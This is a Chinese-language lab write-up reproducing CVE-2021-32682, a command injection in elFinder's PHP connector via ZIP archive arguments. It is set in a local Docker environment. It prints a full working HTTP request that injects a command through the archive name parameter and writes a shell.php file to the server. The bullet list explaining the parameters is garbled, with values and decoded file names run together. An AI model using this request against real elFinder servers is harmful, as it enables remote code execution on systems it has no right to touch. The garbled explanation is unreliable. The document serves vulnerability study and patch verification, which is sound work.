elFinder ZIP 参数注入导致命令注入 (CVE-2021-32682)

漏洞描述

elFinder 是一个用于 Web 的开源文件管理器,使用 jQuery UI 用 JavaScript 编写。

在 elFinder 2.1.48 及更早版本中发现一个参数注入漏洞。此漏洞可能允许攻击者在托管 elFinder PHP 连接器的服务器上执行任意命令,即使配置最少也是如此。这些问题已在版本 2.1.59 中修补。解决方法是,确保连接器不会在未经身份验证的情况下公开。

引用:

  • elFinder - A Case Study of Web File Manager Vulnerabilities | Sonar
  • elFinder Archive Command Injection ≈ Packet Storm
  • CVE-2021-32682 elFinder RCE 简单分析 - 先知社区

漏洞环境及利用

搭建docker环境

elFinder ZIP 参数注入导致命令注入 (CVE-2021-32682)_第1张图片

访问8080端口

elFinder ZIP 参数注入导致命令注入 (CVE-2021-32682)_第2张图片

 

创建1.txt 

elFinder ZIP 参数注入导致命令注入 (CVE-2021-32682)_第3张图片

右键创建2.zip

elFinder ZIP 参数注入导致命令注入 (CVE-2021-32682)_第4张图片

然后,发送以下请求以执行任意命令:

GET /php/connector.minimal.php?cmd=archive&name=-TvTT=id>shell.php%20%23%20a.zip&target=l1_Lw&targets%5B1%5D=l1_Mi56aXA&targets%5B0%5D=l1_MS50eHQ&type=application%2Fzip HTTP/1.1
Host: your-ip
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://localhost.lan:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close
 

elFinder ZIP 参数注入导致命令注入 (CVE-2021-32682)_第5张图片

在此请求中,您可以看到 3 个重要参数:

  • name,则其值等于 ,可以修改为任意命令-TvTT=id>shell.php # a.zipid>shell.php
  • targets[0],则其值等于 。 表示第一个存储卷,是 base64 编码的字符串l1_MS50eHQl1MS50eHQ1.txt
  • targets[1],则其值等于 。 表示第一个存储卷,是 base64 编码的字符串l1_Mi56aXAl1Mi56aXA2.zip

尽管此请求响应了错误消息,但我们的命令已执行并已写入:shell.phphttp://your-ip:8080/files/shell.php

elFinder ZIP 参数注入导致命令注入 (CVE-2021-32682)_第6张图片

 

你可能感兴趣的:(网络安全,安全,web安全,系统安全)